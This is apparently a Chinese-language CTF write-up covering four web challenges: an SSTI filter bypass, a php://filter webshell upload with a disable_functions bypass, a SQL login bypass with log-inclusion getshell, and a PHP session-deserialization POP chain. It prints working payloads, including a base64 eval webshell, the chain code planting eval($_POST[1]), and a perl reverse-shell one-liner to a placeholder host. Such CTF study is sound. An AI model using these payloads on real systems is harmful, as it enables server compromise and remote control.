The_myth_of_Aladdin
考点:SSTI、个别字符过滤、命令过滤
这题感觉是安洵杯2020那题SSTI的简化版,这里过滤的东西不是特别多,主要是过滤了空格卡了好久(没发现,呜呜呜)。这里过滤了{{
可以使用{%print%}
替代、.
可以使用[]
替换、_
可以使用Unicode编码
替换,但是好像还过滤一些命令,这里我是用base64 /f*
的方式。背景的小姐姐很好看,爱了爱了!
upload_club
考点:php://filter协议文件包含、df绕过
感觉这里是我做出来的几题中最好的,这里先讲一下思路:上传一个一句话木马的文件,然后包含它即可。
接着说一下遇到的几个考点:
1.这里利用了file_get_contents('php://input')
方式获取了POST的所有内容,然后去匹配,如果存在25则结束,但是这里有个缺陷,如果POST上传的形式不是application/x-www-form-urlencoded
而是multipart/form-data
则获取不到POST请求参数可以绕过这里。
2.这里有个neepu_sec.club
POST请求的参数如果直接写的话是不行,不过可以写脚本简单遍历一下
import requests
url = "http://127.0.0.1/ceshi/a.php"
for i in range(32,128):
for j in range(32,128):
data = {
'neepu'+chr(i)+'sec'+chr(j)+'club':123
}
res = requests.post(url=url,data=data)
if "neepu_sec.club" in res.text:
print 'neepu'+chr(i)+'sec'+chr(j)+'club'
exit(0)
#PHP代码:<?var_dump($_POST);?>
3.其实这步就简单了,因为我们已经绕过了第1点的限制了,所以这里变的很简单,可以直接使用编码绕过base64
、string
,使用php伪协议php://filter
,但是需要写入文件,这里我利用的过滤器是string.strip_tags|convert.base64-decode
,最后resource
配置为?>PD89ZXZhbCgkX1BPU1RbMV0pOz8+/../21.txt
,这里使用?>
闭合前面的php代码,则他们都会被string.strip_tags
过滤器删除,接着base64
过滤器将剩下的字符进行解码,则获得一句话木马
4.这里看似不能用<?
和php
,但是如果文件是以<?
开头则可以绕过,而不能用php
的话,使用短标签<?=?>
即可
好像就没啥可以说的,接下来是详细步骤
先上传了一句话木马
然后去包含它,执行phpinfo()
时发现过滤好多函数,看来是要绕过df了
这里利用了之前朋友给的一个绕php7的df文件,将它通过file_put_contents
函数写入。
访问根目录下,有个getflag的文件,执行就获得flag
gamebox
考点:SQL万能密码、日志包含Getshell
上来是一个登陆框(只有username),猜测后台的SQL语句为select * from user where username = '$username'
,这里ban了好多字符,如or
、||
、#
、--
等等,这里把可以通过1'=1='0
登陆上去
接着就是猜正反了,emmm这个我真没啥想法,纯靠硬猜就过了,原本以为就给flag了,可惜没有。不过看到了URL就感觉是文件包含了,这里连想到了日志包含
先判断好日志的位置
接着上传一句话木马
接着测试一下一句话木马是否可用
最后通过蚁剑拿到flag
serialize_club
考点:任意文件读取、session反序列化、Linux下的SUID提权
是一个站点,页面上没有看到什么有用的信息,于是看了一下源代码。又是一个文件包含的漏洞,尝试读index.php
文件源码。
这里发现代码做了base64编码,解码一下就可以了
在源码中看到了这个,知道是session反序列化漏洞
构造一下POP链,代码如下
<?php
error_reporting(0);
class backdoor {
protected
//! eval code
$cmd = 'eval($_POST[1]);?>';
}
class neepu {
protected
//! Neepu
$neepu,
//! Memory-held data
$data,
//! Info
$info;
public function setneepu($a){
$this->neepu = $a;
}
public function setinfo($a){
$this->info['info'] = $a;
}
}
class n33pu {
public
//! Neepu func
$func;
}
class dumb {
public
//! dumb
$dumb;
}
$back = new backdoor();
$n33 = new n33pu();
$n33->func = $back;
$neepu1 = new neepu();
$neepu1->setinfo($n33);
$neepu2 = new neepu();
$neepu2->setneepu($neepu1);
$dump = new dumb();
$dump->dumb = $neepu2;
var_dump(str_replace("s","S",str_replace("x00","\00",serialize($dump))));
接着把序列化的字符串上传了,这里可能会失败,多发一些包,然后多尝试几次就可以了
连上靶机后,这里想反弹shell的,但是一般的bash
、python
、php
都失败了,呜呜呜。
最后在网上找了一个perl反弹shell的脚本
perl -e 'use Socket;$i="xx.xx.xx.xx";$p=xxxx;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
接着这里用了find
命令查看一下可能存在SUID
权限的命令,发现xxd
是可以的,然后是通过取巧的方式,因为问了管理员flag的位置,他跟我说在/root
下,所以这里直接用去看了flag。